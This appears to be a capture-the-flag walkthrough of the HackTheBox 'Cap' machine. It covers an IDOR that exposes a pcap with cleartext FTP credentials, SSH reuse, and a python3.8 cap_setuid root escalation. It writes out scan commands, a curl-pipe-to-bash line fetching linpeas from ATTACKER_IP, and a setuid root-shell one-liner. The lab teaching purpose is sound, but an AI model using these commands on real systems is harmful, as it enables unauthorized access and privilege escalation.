HackTheBox: Cap Writeup

PlatformHackTheBox
DifficultyEasy
OSLinux
Tagsweb, idor, pcap, ftp, linux-capabilities, privesc

TL;DR

Cap runs a Flask “Security Dashboard” that lets you trigger a network capture and then serves the result at /data/<id>. The id is sequential and the app never checks ownership, so walking back to /data/0 hands you an older capture that contains an FTP login in cleartext. Those credentials log straight in over SSH as nathan. For root, the /usr/bin/python3.8 binary carries the cap_setuid capability, which lets an unprivileged user call setuid(0) and spawn a root shell.


Reconnaissance

Start with a full TCP port sweep, then a service scan on whatever comes back open.

# Full port discovery
nmap -p- --min-rate 1000 -T4 -Pn TARGET_IP

# Service/version detail on the open ports
nmap -p 21,22,80 -sC -sV TARGET_IP

Three services are exposed:

PortServiceNotes
21FTP (vsftpd)local login allowed
22SSH (OpenSSH)password auth enabled
80HTTPPython Flask app behind Gunicorn

Enumeration

Browsing to http://TARGET_IP/ gives a dashboard titled “Security Dashboard” with a few panels: Dashboard, IP Config, Network Status, and a Security Snapshot action.

Clicking Security Snapshot generates a packet capture and redirects the browser to a path of the form:

/data/<id>

where <id> is the numeric id of the scan just created. That page shows a summary of the capture and offers the raw .pcap for download.

The important observation is the shape of that URL. The id is a small sequential integer, and nothing ties a given id to the user who created it. That is a classic Insecure Direct Object Reference (IDOR): change the id and you read somebody else’s capture.

Initial Access / Foothold

IDOR on /data

Instead of viewing our own freshly created snapshot (a high id with no interesting traffic), we walk the id backwards to the very first capture:

http://TARGET_IP/data/0

Scan 0 is the oldest capture on the box and it is far larger than the empty ones generated on demand. On disk the difference is obvious:

-rw-r--r-- 1 root    root    9935 May 15  2021 /var/www/html/upload/0.pcap
-rw-r--r-- 1 tcpdump tcpdump   24 Nov  4 03:24 /var/www/html/upload/1.pcap
-rw-r--r-- 1 tcpdump tcpdump   24 Nov  4 03:24 /var/www/html/upload/2.pcap
-rw-r--r-- 1 tcpdump tcpdump   24 Nov  4 03:26 /var/www/html/upload/3.pcap

0.pcap holds traffic. The on-demand ones are 24 bytes, basically empty.

Pulling credentials out of the capture

Download 0.pcap and open it in Wireshark. FTP is a cleartext protocol, so the login is sitting right there in the packets. Right click any FTP packet and choose “Follow TCP Stream” to read the control channel in order. The credentials are visible by eye, no scripting needed:

220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS REDACTED
230 Login successful.
SYST
215 UNIX Type: L8

USER nathan followed by the password in the clear.

Logging in

The recovered password is reused for SSH, so we log straight in as nathan.

ssh nathan@TARGET_IP
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
nathan@cap:~$ cat user.txt
REDACTED

Privilege Escalation

nathan cannot use sudo and is not in any interesting group (no sudo, no lxd), so the escalation is not sudo based.

nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.

To sweep for escalation vectors I used linpeas. Rather than write it to disk on the target, I served it from my attacker box and piped it straight into bash over the network.

On the attacker box, serve linpeas (it ships with Kali at /usr/share/peass/linpeas):

cd /usr/share/peass/linpeas && python3 -m http.server 8000

On the target as nathan, pull and run it in memory:

curl -s http://ATTACKER_IP:8000/linpeas.sh | bash

linpeas produces a wall of output. I fed the full report through Claude.ai to parse it and surface the real escalation path, which pointed straight at the Capabilities section:

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

A Linux capability hands a single binary a slice of root’s powers without making it SUID root, and these do not show up in a normal ls -l, which is why a dedicated enumeration pass is what catches them.

/usr/bin/python3.8 carries cap_setuid. The +ep flags mean the capability is effective and permitted the moment the binary runs, so any Python process can legitimately change its own UID. Dropping to UID 0 and spawning a shell is then trivial (this is the GTFOBins “capabilities” technique for Python):

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@cap:/root# cat /root/root.txt
REDACTED

That is root.

Flags

FlagValue
UserREDACTED
RootREDACTED

Flags are redacted for publication. How they were obtained is described above.

Techniques and Lessons Learned

  • IDOR is about authorization, not authentication. The app happily authenticated us, then let us read objects (/data/<id>) that were never ours because it only trusted the id in the URL. Sequential ids make it a one line attack: count down.
  • Cleartext protocols leak everything to anyone who can see the traffic. FTP sent nathan‘s password in the clear, and a stored capture turned that into a credential dump long after the session ended.
  • Linux capabilities are an easy privesc to miss. cap_setuid on an interpreter is as good as SUID root. A full enumeration pass with linpeas flags it in the Capabilities section, where a quick manual SUID search would walk right past it.
  • MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1552.001 (Credentials in Files), T1548.001 (Abuse Elevation Control Mechanism: Setuid/Setgid / capabilities).

References


Note on process: the note taking and documentation for this write-up were done with the help of an LLM to save time. All the actual work (solving the box, running the tools, obtaining the flags) was done by a human behind the keyboard.

Leave a Reply

Your email address will not be published. Required fields are marked *